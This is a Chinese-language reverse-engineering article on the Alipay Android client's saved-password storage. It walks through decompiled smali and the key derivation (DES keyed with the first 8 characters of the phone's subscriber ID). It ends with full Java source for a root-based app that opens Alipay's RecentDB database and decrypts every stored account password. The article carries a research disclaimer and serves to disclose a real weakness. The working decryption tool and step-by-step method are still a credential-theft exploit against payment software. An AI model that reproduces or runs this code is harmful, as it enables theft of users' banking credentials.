作者:非虫

随着电子商务在国内的迅猛发展,网上购物也成为了时下流行的消费方式。就我个人来说,每年在淘宝上也会购物上百起。这足不出户的购物方式的确给我们的生活带来了不少实惠与方便,但同时,购物安全也成为了广大网购消费者担心的一个问题。每年在新闻中爆光的网银被盗、被骗的事件也屡见不鲜。

长期使用网络客户端软件的朋友都有一个习惯,为了避免每次使用时输入帐号名和密码,都习惯使用软件的自动保存密码功能来记住登录密码,这样下次直接点击登录按钮就可以登录软件了(有些软件直接跳过了登录确认的界面),这样,一个安全问题就出来了,软件为我们保存的密码是明文存储的吗?如果加密了,加密强度怎样?外部用户可以直接破解吗?试想一下,像支付宝这类敏感的网银软件,如果本地存储的密码被人直接破解,那后果是很难预料的!而随着我对支付宝程序的逆向分析,也证明了这个安全问题确实存在。在此申明:以下文章涉及的代码与分析内容仅供安卓系统安全学习交流,任何个人或组织不得使用文中提到的技术做违法犯罪活动,否则由此引发的任何后果与法律责任本人概不负责。

测试环境

一台安装有支付宝的安卓手机,并且能获得ROOT权限。

支付宝的版本为3.4.0.0229。

程序运行后使用了自动保存密码功能。为了测试更详细,我分别保存了支付宝与淘宝的帐号密码。

程序分析

医生给病人看病步骤讲究的是望闻问切,通过查看病人的面貌体态来对病情做初步判断,我们今天的分析也一改以往的埋头分析,采用类似的方法,先看看软件运行后的“症状”。打开支付宝软件,点击右上角的登录按钮,分别使用淘宝与支付宝帐号登录,勾选上自动保存密码,如图1所示:

图1

退出软件,然后重新登录,发现软件的确记住了保存的密码,而且密码框显示“星星”的位数与我实际的密码位数一样,看到这里我立马来劲了!这说明密码肯定是保存在本地的某个文件中,而且程序启动时读取密码,然后设置到密码框中。

下面,请出DDMS,进入支付宝数据目录“/data/data/com.eg.android.AlipayGphone/”,里面的文件结构如图2所示:

图2

在DateBases目录里有个RecentDB文件,初步判断它是使用的Sqlite3保存的数据库,将该文件导出到D盘根目录,进行命令行,使用AndroidSDK里面的Sqlite3.exe打开该数据库并分别执行“.tables”、“.schema RecentTable2”、“select * from RecentTable2;”命令,执行后结果如图3所示:

图3

这不看不知道,一看真吓一跳,原来帐号名与密码直接保存在了这个数据库中!只是密码被加过密,看后面的“==”还以为是Base64,可测试后发现不是,退出支付宝程序将它卸载并重新安装。重新运行软件一次后退出,将刚才导出的“RecentDB”文件导入,再次运行支付宝后发现软件登录框中帐号名与密码都记住了!接下来为手机换一张电话号码卡,重新进入程序发现密码框为空了。同样,在其它安卓手机上安装支付宝后导入RecentDB文件,密码框也为空,看来,支付宝对使用者手机与电话号码有所判断。

使用ApkTool将支付宝APK安装文件解包,打开“AndroidManifest.xml”文件,将“android:name”一栏的android:debuggable="false"改成android:debuggable="true",然后重新编译签名并安装,打开DDMS,在LogCat中新建一栏,设置“Filter Name”与“By Application Name”为“com.eg.android.AlipayGphone”,如图4所示:

图4

启动程序,这时就可以在DDMS中查看支付宝的Log输出了,运行程序后点击登录按钮进入到登录界面,在界面随意处点击几下,发现拦截到的消息如图5所示:

图5

由Log输出信息得知程序所在的Activity为“com.alipay.android.client.Login”,在反编译出的Smali文件夹中找到“Login.smali”文件并查看OnCreate()方法。代码太长,只帖关键部分:

.method public onCreate(Landroid/os/Bundle;)V

.locals 6

const/4 v5, 0x1

const/4 v4, 0x0

invoke-super {p0, p1},Lcom/alipay/android/client/RootActivity;->onCreate(Landroid/os/Bundle;)V

invoke-static {p0},Lcom/alipay/android/appHall/h;->a(Landroid/app/Activity;)Z

new-instance v0,Lcom/alipay/platform/a/b;

    ............

const-string v1, "logintype"

invoke-virtual {v0, v1},Lcom/alipay/android/client/a/o;->a(Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

const-string v1,"taobao"  #判断登录类型

invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z

move-result v0

if-eqz v0, :cond_3

iput-boolean v5, p0, Lcom/alipay/android/client/Login;->k:Z

iput-boolean v4, p0,Lcom/alipay/android/client/Login;->l:Z

iget-object v0, p0,Lcom/alipay/android/client/Login;->K:Landroid/widget/Button;

invoke-virtual {v0, v4},Landroid/widget/Button;->setSelected(Z)V

iget-object v0, p0,Lcom/alipay/android/client/Login;->L:Landroid/widget/Button;

invoke-virtual {v0, v5},Landroid/widget/Button;->setSelected(Z)V

iget-object v0, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

const v1, 0x7f0a0010

invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextView;->setHint(I)V #设置输入框的提示

:goto_0

invoke-direct {p0},Lcom/alipay/android/client/Login;->d()V #☻关键方法

iget-object v0, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;

new-instance v1,Lcom/alipay/android/client/cx;

invoke-direct {v1, p0},Lcom/alipay/android/client/cx;-><init>(Lcom/alipay/android/client/Login;)V

invoke-virtual {v0, v1},Landroid/widget/CheckBox;->setOnClickListener(Landroid/view/View$OnClickListener;)V

return-void

:cond_3

iput-boolean v4, p0,Lcom/alipay/android/client/Login;->k:Z

iput-boolean v5, p0,Lcom/alipay/android/client/Login;->l:Z

iget-object v0, p0,Lcom/alipay/android/client/Login;->K:Landroid/widget/Button;

invoke-virtual {v0, v5},Landroid/widget/Button;->setSelected(Z)V

iget-object v0, p0,Lcom/alipay/android/client/Login;->L:Landroid/widget/Button;

invoke-virtual {v0, v4},Landroid/widget/Button;->setSelected(Z)V

iget-object v0, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

const v1, 0x7f0a0011

invoke-virtual {v0, v1},Landroid/widget/AutoCompleteTextView;->setHint(I)V #设置输入框的提示

goto :goto_0

.end method

在OnCreate()方法中,设置了控件的显示、提示及监听器,而后判断登录类型并设置“支付宝会员”或“淘宝会员”按钮的选择状态,在这期间调用了d()方法,该方法过后,帐号名与密码就被显示了出来,d()方法代码如下:

.method private d()V

.locals 5

const/16 v2, 0x8  #设置为View.GONE

const/4 v4, 0x0  #设置不选中或View.VISIBLE

iget-boolean v0, p0,Lcom/alipay/android/client/Login;->k:Z

if-nez v0, :cond_5 #检查用户类型

const-string v0,"alipay"

iget-object v1, p0,Lcom/alipay/android/client/Login;->J:Landroid/widget/Button;

invoke-virtual {v1, v4},Landroid/widget/Button;->setVisibility(I)V #设置为View.VISIBLE

iget-object v1, p0,Lcom/alipay/android/client/Login;->H:Landroid/widget/TextView;

invoke-virtual {v1, v4},Landroid/widget/TextView;->setVisibility(I)V #设置为View.VISIBLE

iget-boolean v1, p0,Lcom/alipay/android/client/Login;->P:Z

if-nez v1, :cond_3

iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

invoke-virtual {v1, v2},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.GONE

:goto_0

iget-object v1, p0,Lcom/alipay/android/client/Login;->j:Lcom/alipay/android/client/a/l; #获取j对象

#☻调用j.a(String)方法获得ho对象,传入的参数为代表用户类型的“alipay”或“taobao”☻

invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;->a(Ljava/lang/String;)Lcom/alipay/android/client/ho;

move-result-object v0

if-nez v0, :cond_0 #☻检查有没有“alipay”类型登录的用户☻,没有下面就new个空的ho对象

new-instance v0,Lcom/alipay/android/client/ho;  #new一个ho对象

invoke-direct {v0},Lcom/alipay/android/client/ho;-><init>()V

:cond_0

iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

const-string v2,""

invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setText(Ljava/lang/CharSequence;)V

#将用户名输入框清空

iget-object v1, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText;

const-string v2,""

#将密码输入框清空

invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V

iget-object v1, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;

invoke-virtual {v1, v4},Landroid/widget/CheckBox;->setChecked(Z)V #设置“记住登录密码”选择状态

iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

const/16 v2, 0x64

invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setThreshold(I)V

iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

iget-object v2, v0,Lcom/alipay/android/client/ho;->a:Ljava/lang/String; # ho.a 为用户名

# ☻将ho.a中的用户名设置到用户名输入框☻

invoke-virtual {v1, v2},Landroid/widget/AutoCompleteTextView;->setText(Ljava/lang/CharSequence;)V

iget-object v1, p0,Lcom/alipay/android/client/Login;->v:Landroid/widget/AutoCompleteTextView;

const/4 v2, 0x0

invoke-static {v1, v2},Lcom/alipay/android/client/a/o;->a(Landroid/widget/EditText;Landroid/text/method/PasswordTransformationMethod;)V

const-string v1,""

:try_start_0

iget-object v2, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #ho.b为加密过的密码

const-string v3,""

invoke-virtual {v2, v3},Ljava/lang/String;->equals(Ljava/lang/Object;)Z #☻判断密码是否为空☻

move-result v2

if-nez v2, :cond_8

iget-object v0, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #☻需要解密的密码☻

sget-object v1,Lcom/alipay/android/client/d/b;->I:Ljava/lang/String;   #☻解密密钥☻

#调用com.google.zxing.c.a.b.b(String)方法解密ho.b中加密过的密码

invoke-static {v0, v1},Lcom/google/zxing/c/a/b;->b(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

if-eqz v0, :cond_1 #解密出的密码是否为空,为空就跳过设置密码框

iget-object v1, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText; #密码框

invoke-virtual {v1, v0},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V #☻设置密码☻

:cond_1

:goto_1

if-eqz v0, :cond_2

iget-object v1, p0,Lcom/alipay/android/client/Login;->D:Landroid/widget/CheckBox;

invoke-virtual {v0},Ljava/lang/String;->length()I

move-result v0

if-lez v0, :cond_9

const/4 v0, 0x1

:goto_2

invoke-virtual {v1, v0},Landroid/widget/CheckBox;->setChecked(Z)V #取消“记住登录密码”选中状态

:try_end_0

.catchLjava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

:cond_2

:goto_3

return-void  #返回

:cond_3

iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

invoke-virtual {v1, v4},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.VISIBLE

iget-object v1, p0,Lcom/alipay/android/client/Login;->h:Landroid/graphics/Bitmap;

if-eqz v1, :cond_4

iget-object v1, p0,Lcom/alipay/android/client/Login;->h:Landroid/graphics/Bitmap;

invoke-direct {p0, v1},Lcom/alipay/android/client/Login;->a(Landroid/graphics/Bitmap;)V

:cond_4

iget-object v1, p0,Lcom/alipay/android/client/Login;->e:Landroid/widget/EditText;

const-string v2,""

invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V

goto :goto_0

:cond_5

const-string v0,"taobao"  #☻等待查询"taobao" 类型的用户登录记录☻

iget-object v1, p0,Lcom/alipay/android/client/Login;->J:Landroid/widget/Button;

invoke-virtual {v1, v2},Landroid/widget/Button;->setVisibility(I)V

iget-object v1, p0,Lcom/alipay/android/client/Login;->H:Landroid/widget/TextView;

invoke-virtual {v1, v2},Landroid/widget/TextView;->setVisibility(I)V

iget-boolean v1, p0,Lcom/alipay/android/client/Login;->M:Z

if-nez v1, :cond_6

iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

invoke-virtual {v1, v2},Landroid/widget/RelativeLayout;->setVisibility(I)V

goto/16 :goto_0

:cond_6

iget-object v1, p0,Lcom/alipay/android/client/Login;->d:Landroid/widget/RelativeLayout;

invoke-virtual {v1, v4},Landroid/widget/RelativeLayout;->setVisibility(I)V #设置为View.VISIBLE

iget-object v1, p0,Lcom/alipay/android/client/Login;->g:Landroid/graphics/Bitmap;

if-eqz v1, :cond_7

iget-object v1, p0,Lcom/alipay/android/client/Login;->g:Landroid/graphics/Bitmap;

invoke-direct {p0, v1},Lcom/alipay/android/client/Login;->a(Landroid/graphics/Bitmap;)V

:cond_7

iget-object v1, p0,Lcom/alipay/android/client/Login;->e:Landroid/widget/EditText;

const-string v2,""

invoke-virtual {v1, v2},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V #清空

goto/16 :goto_0

:cond_8 #跳到这里说明密码为空,则直接设置密码框内容为空

:try_start_1

iget-object v2, p0,Lcom/alipay/android/client/Login;->x:Landroid/widget/EditText; #密码框

iget-object v0, v0,Lcom/alipay/android/client/ho;->b:Ljava/lang/String; #密码

invoke-virtual {v2, v0},Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V#设置密码框

:try_end_1

.catchLjava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0

move-object v0, v1

goto :goto_1

:cond_9

move v0, v4

goto :goto_2

:catch_0

move-exception v0

invoke-virtual {v0},Ljava/lang/Exception;->printStackTrace()V

goto :goto_3

.end method

在整个Login类中,有三个变量是需要注意的,它们分别是“EditText e”、“AutoCompleteTextView v”、“EditText x”。因为只有它们才可能是用户名或密码输入框,经过分析发现“AutoCompleteTextView v”为用户名输入框,而“EditText x”为密码输入框。在d()方法中,代码首先设置用户名输入框内容为ho.a,如果ho.b不为空就先其解密,然后设置到密码框,这样,用户名与密码就设置好了,由于我们的主题是分析密码存储机制,所以,其它代码就不着重分析了。

为了验证上面的分析,这里使用一个小技巧来查看上面ho.a与ho.b以及解密后的值,很多人可能立即想到了使用Toast弹出信息提示,不过个人觉得使用LogCat输出显示更方便,一方面是加入代码量少,使用的寄存器少,另一方面是输出的结果可以随时查看。在d()方法中加入两处Log.v的代码,修改后的代码如图6所示:

图6

在插入代码时需要注意不要随意使用寄存器,而破坏了原程序的状态。接下来保存“Login.Smali”文件后对整个APK进行重新编译与签名,再次安装后导入上面保存的RecentDB文件,启动程序进入登录界面,会发现LogCat会显示如图7所示的信息:

图7

这个时候神奇的发现,被加密的密码、密钥以及解密后的密码都输出到了LogCat中!ho对象何时获取的密码信息?而密钥又是如何生成的?这重重的疑问更增加了我的好奇心!我们这个时候可以采取顺藤摸瓜的方式来追根溯源了。在d()方法中有如下一段代码:

iget-object v1, p0,Lcom/alipay/android/client/Login;->j:Lcom/alipay/android/client/a/l;

invoke-virtual {v1, v0},Lcom/alipay/android/client/a/l;->a(Ljava/lang/String;)Lcom/alipay/android/client/ho;

move-result-object v0

if-nez v0, :cond_0

new-instance v0, Lcom/alipay/android/client/ho;  #如果j.a()返回为0,就new一个ho对象

ho对象是通过this.j.a()方法生成的,j是一个l对象,代码位于“com\alipay\android\client\a\l.smali”文件中,找到相应的l.a(String)方法,代码如下:

.method public final a(Ljava/lang/String;)Lcom/alipay/android/client/ho;

.locals 12

const/4 v10, 0x3

const/4 v7, 0x2

const/4 v8, 0x1

const/4 v9, 0x0

const/4 v3, 0x0

if-nez p1, :cond_0 #p1为String类型的参数,不为空就跳走,为空下面就查询所有用户登录的记录

iget-object v0, p0,Lcom/alipay/android/client/a/l;->a:Landroid/database/sqlite/SQLiteDatabase;

const-string v1,"RecentTable2" #需要查询的表

const/4 v2, 0x6

new-array v2, v2,[Ljava/lang/String;

const-string v4,"ID" #ID

aput-object v4, v2, v9

const-string v4,"NAME" #用户名

aput-object v4, v2, v8

const-string v4,"PASSWORD" #加密过的密码

aput-object v4, v2, v7

const-string v4,"TYPE" #用户类型

aput-object v4, v2, v10

const/4 v4, 0x4

const-string v5,"LOGINTIME" #最后登录的时间

aput-object v5, v2, v4

const/4 v4, 0x5

const-string v5, "USERID"

aput-object v5, v2, v4

const-string v7,"LOGINTIME desc" #构造SQL语句

move-object v4, v3

move-object v5, v3

move-object v6, v3

invoke-virtual/range {v0.. v7}, Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;

move-result-object v0 #☻执行查询并返回结果☻

:goto_0

invoke-interface {v0},Landroid/database/Cursor;->moveToFirst()Z #转到第一条记录

move-result v1

if-eqz v1, :cond_2 #如果记录为空就跳走关闭数据库并返回

new-instance v1,Lcom/alipay/android/client/ho; #☻new一个ho对象☻

invoke-direct {v1},Lcom/alipay/android/client/ho;-><init>()V

const-string v2,"NAME"

invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v2

invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String; #☻查询结果的用户名

move-result-object v2

iput-object v2, v1,Lcom/alipay/android/client/ho;->a:Ljava/lang/String; #☻用户名赋值给ho.a☻

const-string v2,"PASSWORD"

invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v2

invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;#☻查询结果的密码

move-result-object v2

iput-object v2, v1,Lcom/alipay/android/client/ho;->b:Ljava/lang/String;#☻密码赋值给ho.b☻

if-nez p1, :cond_1

const-string v2,"TYPE"

invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v2

invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;#查询结果的用户类型

move-result-object v2

iput-object v2, v1,Lcom/alipay/android/client/ho;->c:Ljava/lang/String;☻用户类型赋值给ho.c☻

:goto_1

const-string v2,"USERID"

invoke-interface {v0, v2},Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v2

invoke-interface {v0, v2},Landroid/database/Cursor;->getString(I)Ljava/lang/String;

move-result-object v2

iput-object v2, v1,Lcom/alipay/android/client/ho;->e:Ljava/lang/String;☻用户ID赋值给ho.e☻

:goto_2

invoke-interface {v0},Landroid/database/Cursor;->close()V #关闭Cursor

return-object v1 #返回ho对象

:cond_0 #☻跳到这里查询特定“TYPE”的用户登录记录☻

iget-object v4, p0,Lcom/alipay/android/client/a/l;->a:Landroid/database/sqlite/SQLiteDatabase;

const-string v5,"RecentTable2" #要查询的数据表

const/4 v0, 0x5

new-array v6, v0,[Ljava/lang/String;

const-string v0,"ID"

aput-object v0, v6, v9

const-string v0,"NAME"

aput-object v0, v6, v8

const-string v0,"PASSWORD"

aput-object v0, v6, v7

const-string v0,"LOGINTIME"

aput-object v0, v6, v10

const/4 v0, 0x4

const-string v1,"USERID"

aput-object v1, v6, v0

const-string v7,"TYPE = ?"

new-array v8, v8,[Ljava/lang/String;

aput-object p1, v8, v9

const-string v11, "LOGINTIMEdesc"

#上面在构造SQL语句,整个语句类似于:

#select ID, NAME, PASSWORD, LOGINTIME, USERID from RecentTable2

# where TYPE="alipay" order by LOGINTIME desc;

move-object v9, v3

move-object v10, v3

invoke-virtual/range {v4.. v11},Landroid/database/sqlite/SQLiteDatabase;->query(Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;#执行SQL查询语句

move-result-object v0

goto :goto_0   #跳转去赋值

:cond_1

iput-object p1, v1,Lcom/alipay/android/client/ho;->c:Ljava/lang/String; #保存用户类型到ho.c

goto :goto_1

:cond_2

move-object v1, v3

goto :goto_2

.end method

这段代码我注释的很清楚,而且功能也很简单,就是查询SQL语句,然后对ho对象的相应字段赋值。

用户名与加密密码的获取弄清楚后,来看看密钥是如何生成的。从上面密码解密部分的分析得知它是通过“com.alipay.android.client.d.b”对象的I成员传递进来的,而它是在哪里被赋的值呢?经过分析,发现是在Login类的“b(com.alipay.platform.core.b)”方法中调用了“com.alipay.android.client.a.m.b(Context)”方法,而后者又调用了“com.alipay.android.client.a.o”类的“a(Context)”方法,“a(Context)”方法代码如下:

.method public static a(Landroid/content/Context;)Ljava/lang/String;

.locals 3

invoke-static {p0},Lcom/alipay/android/client/a/j;->a(Landroid/content/Context;)Lcom/alipay/android/client/a/j;

move-result-object v0

invoke-virtual {v0},Lcom/alipay/android/client/a/j;->e()Ljava/lang/String;

move-result-object v0

const/4 v1, 0x0

const/16 v2, 0x8

invoke-virtual {v0, v1,v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;

move-result-object v0

return-object v0

.end method

转换成JAVA代码只只执行如下一行:

return com.alipay.android.client.a.j.a(Context).e().substring(0, 8);

取e()方法返回字符串的前8位,“e()”方法代码如下:

.method public final e()Ljava/lang/String;

.locals 2

iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #j.b是否为空字符串

if-nez v0, :cond_0

iget-object v0, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String;#j.a是否为空字符串

if-nez v0, :cond_0

const-string v0,"000000000000000" #调用b()方法构造一个全0字符串

invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

:goto_0

const-string v1,"[[a-z][A-Z][0-9]]{15}\\|[[a-z][A-Z][0-9]]{15}"

invoke-virtual {v0, v1},Ljava/lang/String;->matches(Ljava/lang/String;)Z # #字符串是否适合要求

move-result v1

if-eqz v1, :cond_3 #字符串构造失败跳走

:goto_1

return-object v0 #返回

:cond_0

iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #取j.b字符串

if-nez v0, :cond_1 #不为空就跳走

new-instance v0,Ljava/lang/StringBuilder;

invoke-direct {v0},Ljava/lang/StringBuilder;-><init>()V

iget-object v1, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String; #取j.a字符串

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

const-string v1,"|" #添加‘|’

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

const-string v1,"000000000000000" #添加全0

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String; #转换为字符串

move-result-object v0

goto :goto_0 #返回

:cond_1

iget-object v0, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String; #取j.a字符串

if-nez v0, :cond_2

iget-object v0, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String; #取j.b字符串

invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

goto :goto_0

:cond_2

new-instance v0, Ljava/lang/StringBuilder;

invoke-direct {v0},Ljava/lang/StringBuilder;-><init>()V

iget-object v1, p0,Lcom/alipay/android/client/a/j;->a:Ljava/lang/String;

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

const-string v1,"|"

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

iget-object v1, p0,Lcom/alipay/android/client/a/j;->b:Ljava/lang/String;

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

goto :goto_0

:cond_3

const-string v0,"000000000000000"

invoke-direct {p0, v0},Lcom/alipay/android/client/a/j;->b(Ljava/lang/String;)Ljava/lang/String;

move-result-object v0

goto :goto_1

.end method

这段代码通过判断j.a与j.b两个字符串并根据情况返回相应的字符串,而j.a与j.b是在j对象的构造函数中赋值的,j.b由getDeviceId()来设置,j.a由getSubscriberId()来设置,具体的代码由于篇幅我就不贴了,由于我手机获取这两个值都不为空,所以,这里返回的字符串为我的SubscriberId,经过SubString(0, 8)后最后得到的密钥为我手机SubscriberId的前8位。到这里,加密密码读取与密钥计算都明白了,还剩下加密与解密方法没有分析。

密码的加密与解密分别调用了“com.google.zxing.c.a.b.a(String, String)”与“com.google.zxing.c.a.b.b(String,String)”方法,两个参数中第一个为需要加密或解密的字符串,第二个为密钥,最终两个方法都调用了“com.google.zxing.c.a.b.a(int , String, String)”方法,转换成JAVA代码如下:

private static String a(intparamInt, String paramString1, String paramString2)

{

try {

byte[] arrayOfByte =paramString2.getBytes();

SecretKeySpeclocalSecretKeySpec = new SecretKeySpec(arrayOfByte, "DES"); //初始化SecretKey

Cipher localCipher =Cipher.getInstance("DES");

localCipher.init(paramInt, localSecretKeySpec); #paramInt为1就加密,为2就解密

byte[] localObject;

if (paramInt == 2) {

localObject =a.a(paramString1); //调用a.a(String)进行一轮运算,返回处理后的字符数组

localObject =localCipher.doFinal(localObject);   //进行DES解密

return newString(localObject );

} else {

localObject =paramString1.getBytes("UTF-8"); //将需要加密的字符串转成字符数组

localObject =localCipher.doFinal(localObject);   //进行DES加密

returna.a(localObject); //调用a.a(byte[])进行一轮运算,返回最终处理后的字符串

}

}

catch (Exception localException)

{

localException.printStackTrace();

return null;

}

}

代码最终进行了DES加密与解密操作,只是其中多了一道“a.a(byte[])”与“a.a(String)"的加密与解密工序,

有过二维码扫描程序编写经验的朋友一定会发现“com.google.zxing”包是一个开源的一维、二维码扫描项目,到GoogleCode上下载该项目的源码,可以发现,上面的代码是经过支付宝修改过的“ReedSolomonEncoder.java”文件,源码位于“zxing-2.0\core\src\com\google\zxing\common\reedsolomon”目录,但没有这个“a.a(byte[])”与“a.a(String)"方法,显示是支付宝手动添加的,而修改过的b类(未混淆则为ReedSolomonEncoder类)的a方法是调用了“com.alipay.android.c.a.a方法”进行字符编码运算,代码位于“com.alipay.android.c”目录中,这个c类提供了四个方法,其中两个为字符处理的判断方法,另外两个分别是加密与解密的代码,限于本人算法能力有限,无法对算法代码进行分析讲解。大家可以参看相关文件来了解它的具体实现,到这里支付宝登录密码的加密与解密也算搞清楚了。

代码编写

仔细的观察“com.alipay.android.c.a”类,会发现它是一个功能独立的算法类,与支付宝程序的其它逻辑部分无任何耦合,因此,代码编写时我使用了一个取巧的方法,将“a.smali”文件转换成dex文件,然后使用dex2jar转换成jar文件拿到安卓项目中调用,程序的代码如下:

public void onCreate(BundlesavedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.main);

setTitle("支付宝本地密码查看测试程序");

tv = (TextView)findViewById(R.id.text_passwords);

if (!RootUtils.hasRootPermission()){

Toast.makeText(AlipaypwdActivity.this, "程序只能在ROOT过的手机上运行",

Toast.LENGTH_LONG).show();

AlipaypwdActivity.this.finish();

}

if (!RootUtils.hasInstalledApp(AlipaypwdActivity.this, "com.eg.android.AlipayGphone")) {

Toast.makeText(AlipaypwdActivity.this, "检测到手机上未安装的支付宝软件",

Toast.LENGTH_LONG).show();

return;

}

//改权限以便下面进行数据库访问

RootUtils.RootCommand("chmod 666 /data/data/com.eg.android.AlipayGphone/databases/RecentDB");

try {

Context context =createPackageContext("com.eg.android.AlipayGphone",

Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase db=context.openOrCreateDatabase("RecentDB", 0, null);

Cursor cursor = db.rawQuery("select NAME,PASSWORD, TYPE from RecentTable2", null);

TelephonyManager tm =(TelephonyManager)getSystemService("phone");

String str =tm.getSubscriberId();    //支付宝用这个ID的前8位做加密密钥

Log.v(TAG, str);

String subStr = str.substring(0,8);    //只取前8位

byte[] keys =subStr.getBytes();

StringBuffer sb = new StringBuffer();

sb.append("\n以下为本地保存的支付宝密码解密:\n");

while (cursor.moveToNext())

{

sb.append("帐号类型:" + cursor.getString(2) + '\n');

sb.append("用  户  名:" + cursor.getString(0) + '\n');

sb.append("加密密码:" + cursor.getString(1) + '\n');

sb.append("解密密码:" +decryptPassword(cursor.getString(1), keys) + '\n');                sb.append("----------------------------------------------------\n");

}

sb.append("\n\n以下为测试支付宝密码加密:\n");

sb.append("原  密  码:" + "12345678" + '\n');

sb.append("加密密码:" + encryptPassword("12345678", keys) + '\n');

sb.append("----------------------------------------------------\n");

sb.append("原  密  码:" + "87654321" + '\n');

sb.append("加密密码:" + encryptPassword("87654321", keys) + '\n');

sb.append("----------------------------------------------------\n");

tv.setText(sb.toString());

db.close();

} catch (NameNotFoundException e1){

e1.printStackTrace();

}

}

加密与解密部分代码如下:

private StringdecryptPassword(String encryptedPass, byte[] keys) {

try {

SecretKeySpec localSecretKeySpec = new SecretKeySpec(keys, "DES");

Cipher localCipher = Cipher.getInstance("DES");

localCipher.init(Cipher.DECRYPT_MODE, localSecretKeySpec);

byte[] bytes =com.alipay.android.c.a.a(encryptedPass);//调用支付宝的解密接口对密码进行解密

bytes = localCipher.doFinal(bytes);//DES解密

String password = new String(bytes);

Log.v(TAG, password);

return password;

} catch (Exception e) {

e.printStackTrace();

return null;

}

}

private StringencryptPassword(String pass, byte[] keys) {

try {

SecretKeySpec localSecretKeySpec = new SecretKeySpec(keys, "DES");

Cipher localCipher = Cipher.getInstance("DES");

localCipher.init(Cipher.ENCRYPT_MODE, localSecretKeySpec);

byte[] passBytes =pass.getBytes("UTF-8");

byte[] bytes =localCipher.doFinal(passBytes);      //DES加密

String password =com.alipay.android.c.a.a(bytes);  //调用支付宝的加密接口对密码进行加密

Log.v(TAG, password);

return password;

} catch (Exception e) {

e.printStackTrace();

return null;

}

}

最后,程序运行后效果如图8所示:

图8

